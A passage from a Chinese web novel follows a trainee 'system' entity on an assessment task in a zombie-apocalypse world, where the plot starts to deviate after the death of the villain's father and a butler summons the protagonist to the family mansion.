这对于从诞生后一直顺风顺水的少年是一个不小的打击。 但是没有办法, 只能希望下一个任务顺利。 楚青琅迈步, 准备去任务大厅接取任务,迎面撞见了几个飘着的小光团。 瞧见他之后, 小光团们都簇拥过来,叽叽喳喳的询问着:“青琅你任务怎么样了?” “找到宿主了吗?” “宿主好不好相处啊?” “青琅你下一个世界准备去那里啊?” 和人形的他不一样,它们身上是宿主买的拟物皮肤,有雪白的兔子,金色异瞳的猫咪等等, 还有的不喜欢拟物,就带着五彩的光芒,争取出来后, 把别人的眼睛都给亮瞎。 虽然他也因为自己和它们的不同而疑惑, 甚至问过教导系统和主系统。 但是它们也只是说, 他的一切困惑转正后就会得到解决。 所以,无论如何, 他一定要完成任务。 他从来都不是异类 楚青琅推了一下凑到他脸前的, 和他同期毕业的五彩灯泡,压下心里的羡慕说:“没有,任务失败了。” 小灯泡一脸不可置信:“怎么可能!青琅你是我们系统里面最优秀的!” 一旁坐在楚青琅肩膀上的异瞳猫咪蹭了一下他的脸,安抚道:“没事啦,这次不行还有下次, 青琅一定可以成功的。” 占据了怀中的好位置的兔子抬起红色的双瞳,跳起把还在震惊的灯泡顶的旋转了一下,“是小世界出现了什么bug吗?” 楚青琅的模拟考核都是优异,退休的系统说他就算是去真正的小世界,或者直接转为宿主去攻略扮演,都是绝对可以成功的。 但是现在楚青琅竟然失败了,由不得它们不多想。 小兔子盯着那白皙的侧脸沉思,难道是小世界的天道出现了什么问题? 不然不应该啊? 下一刻,它就被一双修长的手给糊住了脸,在黑暗中,它一脸懵逼的听着青琅咬牙切齿:“是,那里的人都有病!还有剧情,完全是忽悠人。” 哇,怨气好大。 把自己回正的小灯泡看着俊美少年面上的凉凉的笑容,下意识的和异瞳猫咪对视了一眼,异口同声道:“青琅!” 楚青琅眨了下眼,疑惑的看过去。 两个系统一齐笑着飞来,贴贴他的脸颊,“别生气了。” “去我宿主那里玩好不好?” “去我那里!我的宿主任务完成了,到时候我们会帮你的。” 系统所绑定的宿主任务完成,可以选择是否在那个世界停留,在这中间,要是有考核的系统过去,宿主是有权力选择是否提供帮助的。 当然,因为宿主和系统并不处于一个地方,而所有考核的系统都是保密的,那么除了同期的系统之外,宿主基本上都不会知道自己的世界是否有系统正在考核。 但是系统可以主动和宿主透露,不过这也就代表着,考核系统和绑定宿主的系统的任务评分会相互影响。 因此,不是关系很好的同伴,系统们基本不会提出这种办法。 楚青琅忍不住软了眉眼,他其实也不是这么生气,在观看任务回放时他也反思了一下,可能是因为他是第一次过来考核,所以把握不好尺度,也忘了现在的反派通常都是“美强惨”人设,那么兆歧所经历的绝对超出他的预料。 而且,魔身为世界上最为幽暗之物,对于旁人的恶意绝对非常敏锐。 他却只是抱着完成任务的心态,并没有真正的沉浸进去,没有真正的恶意杀意,那么魔尊一定会把他所有的行为都解读为口是心非 虽然他也搞不懂为什么别的系统都能完成,它们应该也没恶意啊? 再说剧情,是他忘了主系统一再强调的“仅供参考”,忘了那里不光是考核世界,还是一个真实的小世界 总的来说,他自己的责任也是占了大半部分。 站在接取任务的窗口,楚青琅一边操作光屏,一边揉了揉它们的脑袋,“没事,上一次只是失误,谢谢你们。” 他第一次笑得这么温柔,给系统的感觉就像是沉睡在无尽星海中一样,舒适,又让人沉醉。 小灯泡身上的五彩光芒闪烁了一下,砰地转变成了烟粉色,小声说:“好。” 异瞳猫咪甩了甩缠在少年修长脖颈上地尾巴,呼噜了一声,道:“那青琅不休息吗?” 此时少年已经选定了一个世界,只差按下了接取按钮了。 楚青琅摇头,“不了。” 他还要赶紧完成任务去领惩罚呢,就是不知道主系统会怎么处罚他。 白兔从楚青琅的怀中跳出,站在光屏上,仔细阅读了一下任务,随后用爪子拍了拍那个世界。 “放心吧,这个任务很好完成!这个就是我考核过的世界,只要青琅沿着剧情走就绝对不会出问题的。” 楚青琅低头,顺势按下了按钮。 光屏下泛起白光,将还在微笑着的楚青琅寸寸吞噬,在最后时刻,他弯腰亲了一下白兔仰起的眉心。 “借你吉言。” 白兔:“!” 面前的人形消失后,还处在呆愣状态的白兔才从恍惚中反应了过来,看着面前虎视眈眈的同伴,它一下子蹦下了操作台,朝着大厅外疯狂逃窜。 在他身后,异瞳猫咪毛发炸起,小灯泡身上的光芒愈发刺眼,飞速追去。 “009号你给我站住!” “啊啊啊啊我也要亲亲!!!” * 【滴——】 【006号系统载入中——】 【——载入成功,请问是否开启人格模拟辅助程序。】 “不开启。” 【是。】 【您现在的身份为三流明星,反派父亲厉权的地下情/人——楚青琅。】 【006号系统,请您在不破坏人设的前提下,完成以下任务剧情点。】 【主线任务:死于反派手中,支线任务:1.和厉权逃亡A市,2.推反派入丧尸群。】 【剧情仅供参考,任务全部完成即算考核通过。】 【以上,全体系统和主神祝您任务顺利。】 楚青琅呼了一口气,压下了紧张感,缓缓睁开了眼。 屁股地下是柔软床铺,脚下还摆放着行李箱,一副要出远门的架势。 只是还没等他细致的翻阅剧情和记忆,楚青琅就听见门外传来了越来越近的脚步声。 一声声枪响,还有血肉倒地的声音因为紧闭的房门变得沉闷可怖。 与之相反,当门被敲响的时候却依然井然有序,三长一短。 透露出冷静稳重的意味。 楚青琅站起身,朝门口走去,他并未开口询问,从外面窗户洒落而来的猩红日光,以及夹杂在枪声下的吼叫声,他已经可以判断出来,今天就是丧尸爆发的当天。 那么门外应该就是同他一起跑路的反派他爹,厉权。 楚青琅打开门,毫不意外的,外面站着一个穿着西装革履的高大男人,英俊的面孔冷冽,瞳孔深黑,侧头瞧过来时面庞还带着不明显的血痕。 在男人的身旁,十几个穿着武装带着武器的人正在警惕被他们弄死的丧尸,看都没看他一眼。 楚青琅恍然,现在应该就是支线任务中的第一个任务。 他和反派他爹一起跑路A市,然后把反派抛弃在这里让他独自求生了。 这个任务并不困难,只要他跟着厉权的步伐就行。 心念电转间,楚青琅瞬间下定了决心,他白皙俊美的面孔流露出淡淡的迷茫,不知所措的瞧着面前的男人,“厉先生?怎么了?我快收拾完了。” 厉权上前一步,握住他的手腕,将人拽出来,“没时间了,先走。” 楚青琅在他的面前一向温柔纯澈,因此也没有意见。 于是他就这样被牵着,快步走到了楼梯口,中间厉权不知道想到了什么,又低声说:“你缺什么和我说,我会弄来。” 楚轻琅露出感动的神色,他点头,紧紧依靠在男人的怀中。 他这才察觉到,自己是在二楼,紧邻的墙壁上有着什么东西,反射着刺眼光芒。 但是这一切都被一张紧紧捂住他脸的大手给阻挡,透过指缝昏暗的光芒,他看见穿着白色围裙的仆人,燕尾服的人,嚎叫着被保镖用子弹掀翻。 “喀嚓!” 脚下传来玻璃碎裂的声音,楚青琅下意识的低头去看,捂住他脸的大手尾指轻勾,便让他抬起了头。 耳边是低哑凝重的嗓音:“没事,别看。” 在保镖的保护下,两人很快就走出了这间被丧尸包围的别墅,外面停着几辆黑色改装过的车子,还没有熄火。 楚青琅被牵着手快步走到车子前方,就在他要踩着车边缘上车的时候,心中陡然升起一股不安感。 他顿住了动作,下意识地低头。 男人纹丝不动的托着他的手,胸口前却不知何时被开了一个大洞,心脏清晰可见,鲜血随着心脏的跳动一股股的涌出,流了半身。 厉权瞧着他,冷冽又坚硬的面孔染上急切。 他无声张口:“快跑——” 完蛋,任务要失败了。 “厉先生?厉先生你怎么了?” 楚青琅面容惨白,他蹦下车,抱着厉权叫他,感受着怀中人生机渐渐流失,他抬头,“你们快来救一救他,他不是你们的雇主吗?你们怎么保护的他?!” 染血的手覆在他的手上,楚青琅这才瞧见周围的保镖早已不见了踪影,只留下一道道被拖拽的很近。 是谁? 不过是几秒钟,就将一片装备充足的雇佣兵无声消灭,就连他这个系统都没有察觉到。 楚青琅咬牙,警惕的四处望着。 厉权的瞳孔渐渐涣散,血沫从唇边溢出,他却艰难的握紧楚青琅的手,执着道:“走!” 楚青琅踟蹰两秒眼眶微湿,一副不舍的神情,动作却格外利索。 他把男人放下,转身就爬上了车子。 按照人设,他不会在这里和男人说什么一定会带他走的话。 发动机的嗡鸣声响起,下一瞬,黑车迅速远去。 窗边的风景迅速向后退去,楚青琅冷静的注视着前方。 无处不在的恶意围绕着周围,仿佛有一个透明人一直在戏谑的瞧着他。 现在剧情人物死亡,相当于他的任务失败。 但是他还没有找到幕后黑手以及bug的来源,既然没有杀他,还任由他逃跑,那么他有理由猜测,那个人只是在玩猫戏老鼠一般的把戏。 正好,他也要吊出他来。 不知开了多久,两边的树木已经消失,变成高耸的建筑。 犹如玩具一般的车子四处堆放,红灯绿灯闪烁不定,随处可见横倒在地的尸体还有游荡的丧尸。 一路上,楚青琅遇车撞车,遇丧尸撞丧尸,导致车前的挡风玻璃都被丧尸的血抹成了红色。 冷月高挂,寒意逐渐侵袭了四肢。 楚青琅踩下刹车,将车子停在一个大型商超前。 他仔细观察着周围。 除了零散的丧尸,周围安静极了,路灯明明灭灭,给目之所及的一切都蒙上了暗纱。 没有发现危险,楚青琅松了一口气,他准备休息一会儿,就下去寻找一些食物。 他仰头靠着椅背,属于皮革的冰凉早已被他的体温浸染,变得温暖起来, 楚青琅闭上双眼,攥紧了被厉权塞进手中的枪,寻到一丝心安。 忽地,身后传来轻微的呼吸声。 紧绷的神经还未反应过来,一股剧痛就从胸口蔓延。 来了! 楚青琅并未低头,被突袭没有出乎他的意料,他抬眼瞧向后视镜,试图看清杀死他的人是谁。 但是镜子后方只有一片昏暗,仿佛幽魂复仇。 楚青琅准备掉转枪口,却被一只冰冷的手按住了肩膀,强硬阻止了动作。 低哑生涩裹着恨意的声音在耳边响起。 “再见。” 青年鸦翅一般的眼睫颤动,他抬手握住那冰冷手腕,断续询问: “为什么?你是谁?” 无人应答,只有生命在耳边流逝的滴答声,还有连绵不绝的刺痛,混成血色遮蔽了他的视线。 在最后时刻,楚青琅将那只手臂拽过来,硬生生咬下一块肉来。 随即视线变为黑暗。 * 再一睁眼,楚青琅就来到了虚无空间,面前淡蓝面板闪烁不定。 他浮在半空中,死死的皱着眉。 这次任务这么快就失败属实出乎他的意料。 【已检测到考核系统006号死亡,考核任务失败。】 【请问是否返回主神空间?】 “否。” 他不能回去,那样就浪费太多时间了。 而且他就不信了,必须要摸清楚是谁弄死他的。 只要给他缓冲时间,他一定会活下去。 楚青琅对自己的生存能力很有信心。 【重新开启此世界考核需要清洗记忆,请问是否重新开启此世界任务考核?】 “是。” 【检测考核系统于考核世界未存活十小时,为提高考核几率,保障系统心身安全,已为您开启保护程序,传送将避开上一时间点。】 【006号,是否确认清除记忆,此记忆回到主神空间自动恢复。】 “是。” 【记忆已清除,祝您任务成功。】 * 镜子前,映出一个黑发蓝眼的俊美青年。 青年面容和楚青琅本人很像,只是削弱了些许的疏离。 唇角上翘,自带三分笑意,整个人就仿佛是一泓清泉,让人望之心生好感。 谁能知道,他不过是一个善于钻营的小明星,折腰赔笑这种事,做的比谁都要熟练。 因此,在有机会能够攀上反派他爸厉权的时候,原身使尽了手段,才让自己成为了民润集团老板的地下情人,随后便接到了数不清的高奢代言和电影电视资源,在娱乐圈的咖位也随之水涨船高。 原本一切顺风顺水,原身想着更近一步,就以继母身份接近反派,想着要和这个继承人打好关系。 但是不知道是谁拍下了他和金主相携进入厉家大门的照片,还放了出来。 于是舆论骤起。 到了现在,他已经处于了岌岌可危的地步。 镜子里,他面容唇色惨白,眼睫眨动间,仿佛受到了什么打击一般,平添几分脆弱。 一旁的化妆师轻抬起他的下巴,拿着淡色唇膏在他唇上涂抹,于是那缺乏血色的唇便被清润的水色覆盖,将那抹忧郁打散,反而添了几分含而不露的勾人。 楚青琅皱眉,抬手抵住化妆师的手腕,认真凝着她,低声说:“擦掉吧。” 原身在娱乐圈走的是不谙世事的温柔白莲花人设,而这样的人一旦显露些许苍白憔悴,便更加惹人心疼,如今他要去参加记者会,为的是要澄清自己身上的谣言,当然要好好利用这张脸, 虽然澄清了也没有什么大用,这个世界很快就要成为一片废墟了,直到天命之子杀掉反派,重建家园,做出解药,才把所有人从绝望中拉出来。 不过他也活不到那时候。 楚青琅默默想着,他现在只要在维持人设的基础上,完成那几个任务就好了。 只希望不要再出什么岔子了。 虽然他有些想不通,为什么这次跳转的时间那么长,总觉得他在待机的时候呆了许久。 而且,一来到这个世界,就感觉很慌。 难道是因为上个世界,所以留下了心理阴影? 楚青琅暗暗纳闷。 他这一张脸上最为出色的便是那一双蓝眸,宝石一般,随着光线还会有火彩变化,瞳孔细微的紫和暗蓝绞缠排列,显得光怪陆离。 化妆师对上那双眼时,哪怕久经娱乐圈美人的洗礼,心脏还是停跳了半拍。 她咽了下口水,晕乎乎的说:“啊,好好。” 就在化妆师将那抹上的唇膏擦拭掉时,一旁的门被人突地推开,挟着花香,穿着西装的中年人就走了进来。 他是原身的经纪人,房淮。 房淮将怀中的花放到一旁的桌子上,按着楚青琅身后靠着的椅背道:“好了吗?记者都来了。” “好了。”楚青琅应了一声,接过了化妆师手中的纸巾,自己随手擦拭着,礼貌道:“辛苦你了,后面我自己来就行。” 化妆师收回手,看了他们一眼,心领神会说:“好,那我先去洗一下化妆用具。” 悉悉索索后,是轻微的关门声,化妆师拿着东西走出了房间。 房淮看着镜子里面的青年,指了指一边的花束道:“这是粉丝送的你还是联系不上厉先生吗?” 楚青琅摇头,房淮便皱起了眉,他神情流露出些微的焦躁来,“这不应该啊?你之前去陪他的时候没惹他生气吧?你有这张脸还沉寂这么多年,都是你自己非要坚持什么底线!” 并没有,原主只是在挑选而已。 “好不容易想通了攀上一个贵人,怎么就不知道把握!!你知道有多少人想要踩着你上位吗?” “在记者会之前,你必须要再联系一下厉先生,一场记者会澄清不了什么,要不是你根基太浅,起来的时候又控制不住自己的脾气得罪了太多人,怎么会落到现在这种墙倒众人推的境地?!早就劝过你了” 房淮在他背后走来走去,楚青琅却比他更加冷静,仿佛即将身败名裂的不是他一样。 事实上他正在心里狂翻剧情,不详预感让他脑袋里面的天线嗖的竖了起来。 【——厉屿永远忘不了那一天,当他好不容易从学校中杀到家里时,却只望见了一栋空荡荡的房子。】 【——桌椅倾倒,满地脏污,异化的保镖在大厅中央徘徊,在那狰狞袭来的面目中,他意识到,自己被唯一的亲人抛下了。】 【——他的父亲,厉权一向教导他要收敛情绪,喜怒不于形色。但是在监控中,他的父亲竟然失了一向的体面,狼狈地踩着母亲的遗像,怜惜的搂着那个人,带那个情人冲了出去,甚至完全没有想着他这个儿子。】 【——冲天而起的怒火和恨意,将厉屿的双目灼红。】 楚青琅没有关注后面反派对他的恨意,反正他只是一个炮灰,后面惹反派的地方还多着呢,死亡的结局是无法避免的。 他的视线凝滞,剧情上可是说他在丧尸爆发的时候是和厉权在一起的,而且第一次过来的时候,他确实是在厉家,但是现在厉权怎么会不见他? 现在距离丧尸病毒爆发可是只有两天了。 在记忆中,原身最后和厉权见面是一周前,当时厉权可是依然对他小心翼翼,爱护有加,还打包票给他一个新的男一号,能拿奖的那种。 这样的资源送上,原身都松动了态度,以为厉权是真的栽了,想着是不是要改变一下自己的态度,给他几分真心。 怎么后面突然没了消息? 难道是又出现了什么bug 楚青琅放下纸张,抬眼,瞧着在身后转悠的人说:“房哥,记者会马上开始了,我会记得打电话的。您去厉先生公司一趟,代我送个礼物。” 房淮脚步停下,转头。 镜子里的人对他露出微笑,蓝眸弯起,驯服温柔。 “顺便打探一下厉先生的去向,也许我不重要,但是他总不能不会去公司。” “麻烦您了。” 第30章 第 30 章 夫人。 深色的布景立背后, 黑发蓝眼的青年穿着浅色风衣站在台上,各色台标的话筒成簇聚齐,参差不齐的堆在他的面前。 带着几乎要将他淹没的凶猛。 闪光灯刺眼,在眸中留下几道光斑, 楚青琅不由得眨了下眼, 试图削弱那些不适。 在他缓解的时候, 即将出口的回答便顿了一下。 提出一个尖锐问题的记者仿佛抓住了机会一般, 连珠炮似的开口,“楚先生在犹豫什么?是感觉心虚吗?从照片出来到现在, 您并未对外发出澄清声明,是默认您先前的资源都是依靠厉总吗?您和厉总是什么时候在一起的?厉总妻子的死亡您觉得有自己的原因在吗?” 青年的眉头微蹙,白净的脸上甚至带了些许的无措,下面的记者瞧着他那双蓝眼睛,心里不禁对提问的人心生一丝埋怨, 但是这种情绪很快就被爆料的渴望压下。 楚青琅瞧着摄像机,诚恳道:“我并不清楚那张相片是那里来的,但是我不会做那样的事情, 和厉总站在一起也只是因为商业关系, 并不像众人猜测的那样不堪。” 他缓缓扫视了一圈, 蓝色的眼睛仿佛能够穿透人心,带着难得的严肃的意味。 “还有, 我希望大家不要把亡人牵扯进来, 这不光是对我和厉总的不尊重,同样也是对于亡人的不尊重。” 话音落下,记者们左右对视了一眼,明白被他率先站了道德制高点,就默契的跳过这个话题, 重新提问起来。 这些询问或直白锋利或狡诈难缠,却都是句句带坑。 他们要的就是楚青琅一招不慎说出一些猛料。 完全没有在意这个记者会的目的是澄清,还有房淮邀请他们来时嘱咐的委婉。 记者会足足开了一个小时,等楚青琅能够休息的时候cpu都要烧了。 他对这种场合属实不熟悉,要不是他模拟了原主的思维方式,一定会上来就掉坑里。 想到还有半个小时,楚青琅在心里抱头乱窜。 还不如让他和任务对象斗智斗勇呢。 至少只用面对一个人。 记者们接着电话,低声说着什么。 一旁的门半掩,助理站在那里拿着水杯朝他招手,他刚准备下去喘口气,顺便给厉权打个电话。 只是刚动了一步,一声尖叫瞬间吸引了在场所有人的注意力,楚青琅转头望去,下意识的皱起了眉。 “啊!!!” “快报警!!” “这是什么东西?!” 下面坐着的人乱成一团,一个人捂着脖子肩膀染血,踉跄的从一个人身边跑开,却只是跑了几步,就颓然倒在了地上。 那些围绕成一团的记者们齐齐后退了一步,有一些冷静的,已经发觉了不对,边打起急救电话,边朝着急救通道而去。 在倒地的人的身后,一个人掀开身上的话筒椅子,摇摇晃晃的起身。 他在观察。 原先骚乱的房间瞬间安静下来,所有人都僵硬在原地,祈祷着这个和影片中的丧尸极像的人忽视自己。 那人弓起脊背站在中央,身上的夹克上还别着一个“视界”的标识,在他的脖子上,绷带散落,一个咬痕赫然显露。 楚青琅默默后退,无声招呼着被震惊到的记者们挪步到一旁的半掩的门前。 明明真正的丧尸潮还未真正爆发,但是现在却已经有了苗头,这属实有些出乎他的意料。 就在他要到达门口时,那个丧尸忽地转身,抬头朝他望了过来。 满是青白死气的脸上,凸起的眼眸中布满血丝。 满是鲜血的嘴咧开,朝他低吼了一声。 楚青琅的心一跳。 明明剧情中的丧尸并没有视力,也不靠那眼睛视物,但是诡异的是,他总觉得那双眼睛是切切实实的瞧见了他。 不,或者说,在这双眼睛背后,像是有谁再看着他。 楚青琅下意识的想起他的第二个任务。 剧情中的反派就是因为被他推进了丧尸群,才进化成了丧尸王,在剧情中拥有着号令丧尸的能力。 但是这不应该啊。 他现在可和反派没有什么交集,而且现在病毒还没有传播开来,反派也不应该有这种能力。 难道是他想多了? 就在楚青琅思衬之时,吼完的丧尸步伐缓慢的朝他走了过去。 他却一步未动,直到房间中的记者都悄悄的加快脚步出去。 楚青琅并未察觉到,他们望着他的眼睛是多么的复杂。 他这样做只不过是装好人的本能罢了,而且丧尸移动缓慢,除了长得可怖一点,现在对他来说并没有什么杀伤力。 最后一个人出去时,那个丧尸几乎来到了跟前。 一直在旁边等着的助理连忙拽住他的手臂,将他拉出了房间,并将门反锁。 “砰!砰!” 失去意识的丧尸执着的撞着紧闭的房门,头颅上粘稠血液流了满脸。 空荡荡的房间内,原本捂着脖子倒地的人,突然僵硬的动了动。 * “这是怎么回事?” “会不会是政/府瞒着我们什么?” “你们记得先前x国生化实验室泄露的事情吗?还有当时的新闻报道” 黑黢黢的楼道中,压抑紧张的气氛随着嘈杂慌乱的脚步声与交谈声迅速蔓延。 楚青琅打开系统屏幕,将这件事情记录上去。 可能因为出神,他脚下不知道被谁绊住,猛地踩空,朝着下面摔去。 楚青琅下意识伸手握住了身旁的扶手,有些狼狈地稳住了自己的身子。 因为他在最后面,所以前面的人并没有注意到他的情况。 很快,那些人就消失不见。 空荡荡的楼道里,除了楚青琅和他的助理,只有一人停下了脚步,站在了楼梯平台上。 心惊肉跳之余,楚青琅完全忽视了眼前的一切,只是抿着唇平缓着过快的心跳。 “呵,反应倒是很快。” 轻蔑的声音响起,站在一旁的助理收回扶人的手,借助昏暗地光芒辨认出面前的人,冷声道:“何先生,你和我们楚哥都是一个公司的人,怎么能这样做?!” 站在那里的人却只是嗤笑了一声:“狗还真的像主人,一样会装。” 何复,好心向原身传授演习技巧,却被原身当梯子勾搭上司权,还被抢了男一号又热搜碾压的人。 怪不得怨气这么大。 楚青琅看着何复,抬手阻止了助理再次开口,缓缓迈下了楼梯。 黑暗如流水在他的身上滑过,下方楼梯口处的光芒影影绰绰的映出他那双蓝眼睛,浓密眼睫仿佛自带眼线,于眼尾飞出,又克制的收拢。 楚青琅轻声说:“复哥,你还在生我的气吗?” 何复下意识的收回视线,冷漠道:“别叫我复哥,我们没这么亲密。” 楚青琅笑了下,逼近他,语气温和:“我知道复哥不是故意的,我相信你,但是这里也是有监控的。如果流出去的话,别人也会相信吗?尤其是复哥原本就很难过了。” 何复下意识的抬眼看了下,却见上方只有黑暗浓郁,没有丝毫像监视器的闪光存在。 带着笑意的声音又响起。 “复哥还是那么好骗。” 何复下意识攥紧了手,仿佛不甘,他低声嘲道:“我不好过,你觉得你现在好过吗?你以为你的金主还会帮你吗?!我告诉你” “嘘。” 楚青琅按住他的唇,看着他下意识的噤声,不禁笑出了声。 他白皙手指下移,缓缓划过那折叠的衣领,打磨圆润的指甲用力,在何复的锁骨脖颈处留下一道道凹印。 “当了这么久的公众人物了,还是我说什么就是什么。” “复哥怎么总是这么蠢呢?” 那双蓝眼睛就这样瞧着他,昏暗中,散发着妖异的光芒。 言笑晏晏,无懈可击。 一道泄气似的吐息后,指尖紧绷的肌肉忽地放松下来。 何复拍下他的手,转身离开。 楚青琅站在后面悠悠道:“复哥,最近可不要乱出来走动啊,很危险的。” 何复的动作顿了下,随即头也不回的走下楼梯。 阳光下,闪烁着光芒的警车停在外面,有穿着制服的警/察在询问着什么。 走出去的楚青琅侧头对着自己的助理道:“你在这里应付一下,我去打个电话。” 助理瞧了一眼被赶来的记者围绕着,询问着什么的何复,又看了一眼楚哥已经离开的背影,默默点了点头。 真是的,不知道楚哥最会挖坑了吗。 * 楚青琅走到一旁,为自己刚刚的扮演点了个赞。 经历过上一个世界的历练,他觉得自己升华了,不管是演技还是心态都上了一个等级。 想来接下来无论发生什么,都无法动摇到他现在这颗大心脏。 楚青琅远远的瞧着在记者询问下摸着脖子,神情由迷茫转为涨红的何复,颇有些无趣。 他靠在墙边,面上的温和褪下,显出些许矜持的疏冷来。 掏出手机,正准备按下备注“厉先生”的通话时,一个插/进来电话阻止了他。 是房淮。 楚青琅转而接通,疑惑道:“房哥?” 房淮的声音极为沙哑,带着慌乱,“青琅,完了,一切都完了!” 嗯? 他知道丧尸要爆发了? 不然这不像一向沉稳的经纪人啊? 楚青琅仰头看了一眼被火烧云染红的天,若有所思的询问:“怎么,是厉先生不见你吗?还是他有新人了?房哥,冷静一点。” 粗重的喘息透过电话变得遥远起来,话语仿佛是从喉咙挤出来一般,又轻又细。 却若雷霆落于脚前,将楚青琅震了个仰倒。 他不可置信的问:“你说什么?!” 手机那头是房淮失神般的重复:“青琅,厉先生死了。” 厉权死了? 怎么可能?! 怪不得,怪不得房淮会这么失态。 他现在舆论缠身,后面要是没有厉权出手,娱乐圈的人应该都很乐意落井下石一下。 他估计会永远翻不了身。 而房淮作为他的经纪人,和他的利益是一体的…… 楚青琅瞬间想起何复在楼梯间未说完的话。 当时他还以为那个人只是要说他不要脸,说他完全没有在人前装的温软无辜的样子,竟然那么势力和阴狠,完全不念旧情 原来,何复想说的竟然是这个吗? 楚青琅沉默许久,抬手按了按跳动的眉心。 他一边随口安抚着房淮,一边打开面板投诉起来。 说好的只要沿着剧情走就没问题的呢?现在好了,他连反派的人影都没见到,剧情就已经彻底偏离了。 这可和他没关系,他倒要看看主系统怎么处理。 刚把投诉提交上去,对面就像是专门等着他一样,很快就给了回复。 【主系统:因上次任务失败,经过与主神讨论,此次任务难度提升。剧情偏移为正常情况,请考核系统不要惊慌。】 楚青琅: 说好的惩罚等他转正后才会有呢? “那我之前做得计划和准备就全被打乱了,主系统,这次任务失败的话算谁的?” 【主系统:身为系统,要学会灵活的完成任务,不要那么死板,不然之后绑定宿主了,你怎么给宿主提供助力?】 “我需要知道剧情偏移的程度和偏移点。” 【主系统:考核任务不可借助外力,006号,你可以选择强制退出放弃任务。】 “” 算你狠。 淡蓝色的面板在眼前消失,挂了电话之后,楚青琅打开打车软件,准备去厉家看一下情况。 他的直觉告诉他,在厉家会找到剧情偏移的线索。 只是还没等他调整好路线,眼前就出现了一双黝黑发亮的皮鞋。 他的手一下子顿住,莫名的阴冷感顺着脊背钻进骨缝,心跳抑制不住的加快。 顺着鞋面朝上瞧去,是顺滑高级的西装裤,白衬衣,白手套,深黑色的燕尾服。 庄重规矩的仿佛从墓里挖出来一样,不带丝毫人气。 不似人的男人带着一副银边眼镜,撑着一把黑色的伞,此时正安静且礼貌站在他的面前。 两人对视。 透过轻薄的镜片楚青琅可以看见男人眼尾的几缕细纹。 阴影下,那张瘦削的面庞朝他露出标准温和的微笑。 “夫人,少爷请您回去主持老爷的葬礼。” 30-40 第31章 第 31 章 缠缚,勒紧。 他?夫人? 楚青琅脑袋断线了一瞬。 虽然原身是准备上位当继母的, 但是这不是还没有领证啥的,除了反派旁人几乎都不清楚,所以他现在顶多是一个“情人”的身份。 什么时候轮的上他一个情人,在继承人还在的时候去给人主持葬礼了? 楚青琅默默站直了身子, 被框起的蓝眸仿佛大海一般, 里面翻着惊疑的波涛。 “谁的葬礼?还有, 我不是你们夫人, 您认错人了吧?” 男人并没有回答,只是微笑侧身。 一辆黑车从不远处开来, 正正好停在他的面前。 车门悄然打开,男人上前一步,摊手恭敬道:“夫人,请。” 楚青琅却只是站在原地。 心中的不安越发强烈,两人就这样僵持着, 时间一点一滴的过去,男人的面上没有丝毫烦躁的神色。 就连凝着他的眼珠子,都像机械一般死气沉沉。 莫名的, 他又产生了一种, 先前面对丧尸时被盯着的感觉。 楚青琅蹙了下眉, 将这种感觉压下,心中冷静的分析着。 既然剧情异常出现在厉家, 就说明此行是必不可少的, 他需要过去探查情况,以免日后在完成任务的时候出现什么差错。 并不需要全程严格按照剧情来,他的目标只有那三个任务,而那三个任务都和厉屿交织在一起。 所以,死的不是厉屿就行。 最终, 黑发蓝眼的青年妥协似的将手机收回,迈步走了过去。 在坐进车里时,他还语气柔和的说:“希望您能给我解释一下现在的情况。” 男人收回轻护车顶的手,表情纹丝未变。 “当然。” * 别墅区,厉家。 镂空雕花铁门缓缓打开,高级轿车从外滑进,沿着平坦道路来到房子前。 楚青琅抬起头,看着沉默一路的男人从副驾驶上下来,恭敬弯腰将车门拉开。 镜片反射着微红的阳光,微笑依然。 楚青琅将手机放回兜里,没有再朝他问一句话,便下了车。 先前在车子上,他不是没有试图询问一下厉权的死亡原因,或者厉屿的消息,却都被男人圆滑的推了回去。 气的他把车里的一盘桃子都给吃完了。 阴影从头顶传来,为他打伞的男人站在一旁为他引路。 面前喷泉里面是圣母抱子雕像,再往后是一座三层的欧式建筑,圆拱形的玻璃嵌在四面墙体,彩绘的图案显得格外精美。 再朝里面走去,小道两边是绵延开来的各色花朵,那些花朵并不像楚青琅印象中的任何一种。 他只发现其中几颗勉强像印象中的紫罗兰,但是相比起正常的柔软绽放花儿来说,眼前的这几颗花瓣蜷缩,淡紫色的花瓣外还蒙着白色的霜状的东西。 那是,病菌和孢子? 楚青琅跟着朝前走,心中做了判断。 就在他想要仔细看时,那萎缩的花忽地无风摇晃了一下,随即被裹于里面的蕊部仿佛有一颗肉眼生长出来,随着垂落摇晃的花朵朝他盯来。 脚步刚一停顿,一直在身侧领路的男人就悄然后退了一步,切断了他的视线。 阴影重新笼罩在头顶,标准的微笑仿佛刀刻,就这样映在楚青琅的眼中。 这个地方先前厉权从未带他来过,之前他去的地方也都是在市中心的房子里,不过他倒是听厉权提到过,要是他真的成了他法定的“妻子”后,会带他回去。 原来,就是回这里。 眼前,暗红色的大门被缓缓打开。 楚青琅静了静,回头看了一眼那在阳光下泛着虚幻光芒的花朵和雕像,迈步走了进去。 直到他的身影消失在眼前,男人微笑着关闭了房门。 夕阳下,他缓缓抬起手。 骨节弯曲顶起镜框,指尖深入眼眶,便传来胶质搅动的声音。 等声音彻底平息,摊开的手掌上一颗染血的眼珠赫然存在。 光秃秃的眼珠翻了个身,黑色虹膜正对着那暗红的大门。 “你在看什么?” 远方的贵族学院,穿着西式制服的少年疑惑的看着忽地出神的同伴。 “没什么。” 同伴收回视线,浓黑眼眸在夕阳的照耀下仿佛岩浆流动,只是一眨眼,那抹红就仿佛幻觉般不见了踪影。 少年蹙了下眉,但是也没将这件事情放在心上,他们接着朝着校外走去,“你这段时间怎么这么沉默?是生病了吗?” 同伴只是勾唇笑了下,说:“没有,只是在期待一场好戏。” 少年好奇道:“什么戏?你什么时候去看那些无聊的东西了?” 同伴并没有回复,只是盯着前方。 惨白英俊的面庞上一只眼眸咕噜地偏移了一下,泛出粘稠杀意。 * 楚青琅左右瞧了瞧。 出乎意料的,这个房子里面还蛮正常和明亮的。 水晶吊灯,宽阔客厅,成组的皮质沙发,以及玻璃桌子上开的艳丽的花束。 只是很安静。 安静过头了。 而且也没有丝毫有人死亡即将举办丧礼的装饰。 楚青琅抿了下唇,小心开口:“有人吗?” 无人回应。 他便只能朝前走去,直到来到一处旋转楼梯前,他仰头,瞧见楼梯旁的相片,还有二楼相同的装饰。 那是全家福。 冷漠严肃的男人,秀美温柔的女人,以及在两人中间的笑得开心的孩子。 楚青琅辨认出来,男人和女人厉权和他妻子,孩子是小时候的反派,厉屿。 越朝上走,相片就越多,只是女人不再出现。 